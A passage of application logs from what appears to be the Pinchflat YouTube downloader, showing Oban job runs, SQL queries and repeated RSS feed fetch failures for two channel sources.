ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 06:02:28.905 [debug] QUERY OK source="tasks" db=0.0ms idle=409.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [547, 3, ~U[2026-07-24 06:02:28Z], ~U[2026-07-24 06:02:28Z]] 06:02:28.905 [info] {"args":{"id":3},"id":546,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":409882,"event":"job:stop","queue_time":428499,"attempt":10,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:02:55.777 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:00.094 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:03:25.778 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:55.779 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:00.097 [info] {"source":"oban","duration":140,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:04:25.780 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:55.781 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:00.098 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:05:25.782 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:55.783 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:00.099 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:06:25.784 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:55.786 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:00.100 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:07:25.787 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:55.788 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:00.101 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:08:25.789 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:55.790 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:00.102 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:09:25.791 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:55.793 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:00.103 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:10:25.794 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:55.795 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:00.104 [info] {"source":"oban","duration":305,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:11:25.796 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:55.798 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:00.105 [info] {"source":"oban","duration":327,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:12:25.799 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:29.160 [info] {"args":{"id":3},"id":547,"meta":{},"system_time":1784873549160460980,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:12:29.160 [debug] QUERY OK source="sources" db=0.1ms idle=1995.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:12:29.160 [debug] QUERY OK source="settings" db=0.0ms idle=1995.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:12:29.161 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:12:29.161 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:12:29.161 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:12:29.409 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":547,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":248144,"event":"job:exception","queue_time":255265,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:12:48.180 [info] {"args":{"id":3},"id":547,"meta":{},"system_time":1784873568180319282,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:12:48.180 [debug] QUERY OK source="sources" db=0.1ms idle=1015.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:12:48.180 [debug] QUERY OK source="settings" db=0.0ms idle=1007.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:12:48.181 [debug] QUERY OK source="media_profiles" db=0.0ms idle=16.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:12:48.181 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:12:48.181 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:12:48.304 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 06:12:48.304 [debug] QUERY OK source="media_items" db=0.4ms idle=124.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 06:12:48.308 [debug] QUERY OK source="media_items" db=3.3ms idle=124.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 06:12:48.309 [debug] QUERY OK source="tasks" db=0.1ms idle=128.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [548, 3, ~U[2026-07-24 06:12:48Z], ~U[2026-07-24 06:12:48Z]] 06:12:48.309 [info] {"args":{"id":3},"id":547,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":129063,"event":"job:stop","queue_time":770829,"attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:12:55.800 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:00.106 [info] {"source":"oban","duration":556,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:13:25.801 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:55.803 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:00.107 [info] {"source":"oban","duration":392,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:14:25.804 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:55.805 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:00.108 [info] {"source":"oban","duration":395,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:15:25.806 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:55.807 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:00.109 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:16:25.808 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:34.425 [info] {"args":{"id":2},"id":537,"meta":{},"system_time":1784873794425555475,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:16:34.425 [debug] QUERY OK source="sources" db=0.0ms idle=1260.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 06:16:34.425 [debug] QUERY OK source="settings" db=0.0ms idle=1260.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:16:34.426 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:16:34.426 [debug] QUERY OK source="settings" db=0.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:16:34.426 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 06:16:42.428 [info] {"error":"** (Protocol.UndefinedError) protocol String.Chars not implemented for type Tuple. This protocol is implemented for the following type(s): Atom, BitString, Date, DateTime, Decimal, Exqlite.Query, Float, Integer, List, NaiveDateTime, Phoenix.LiveComponent.CID, Time, URI, Version, Version.Requirement\n\nGot value:\n\n {:failed_connect,\n [{:to_address, {~c\"www.youtube.com\", 443}}, {:inet, [:inet], :nxdomain}]}\n","args":{"id":2},"id":537,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":8001524,"event":"job:exception","queue_time":48621,"attempt":13,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:16:55.809 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:00.110 [info] {"source":"oban","duration":272,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:17:25.811 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:55.812 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:00.111 [info] {"source":"oban","duration":415,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:18:25.814 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:55.815 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:00.112 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:19:25.816 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:55.817 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:00.113 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:20:25.818 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:55.819 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:00.114 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:21:25.820 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:55.821 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:00.115 [info] {"source":"oban","duration":140,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:22:25.822 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:48.833 [info] {"args":{"id":3},"id":548,"meta":{},"system_time":1784874168833264079,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:22:48.833 [debug] QUERY OK source="sources" db=0.0ms idle=1668.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:22:48.833 [debug] QUERY OK source="settings" db=0.0ms idle=1668.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:22:48.833 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:22:48.833 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:22:48.833 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:22:49.342 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":548,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":508577,"event":"job:exception","queue_time":524294,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:22:55.823 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:00.116 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:23:06.854 [info] {"args":{"id":3},"id":548,"meta":{},"system_time":1784874186854167889,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:23:06.854 [debug] QUERY OK source="sources" db=0.1ms idle=1689.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:23:06.854 [debug] QUERY OK source="settings" db=0.0ms idle=1689.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:23:06.854 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:23:06.854 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:23:06.854 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 06:23:06.953 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":548,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":99280,"event":"job:exception","queue_time":511583,"attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:23:25.824 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:27.876 [info] {"args":{"id":3},"id":548,"meta":{},"system_time":1784874207876216420,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 06:23:27.876 [debug] QUERY OK source="sources" db=0.0ms idle=1711.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:23:27.876 [debug] QUERY OK source="settings" db=0.0ms idle=1007.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:23:27.876 [debug] QUERY OK source="media_profiles" db=0.0ms idle=711.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:23:27.876 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", 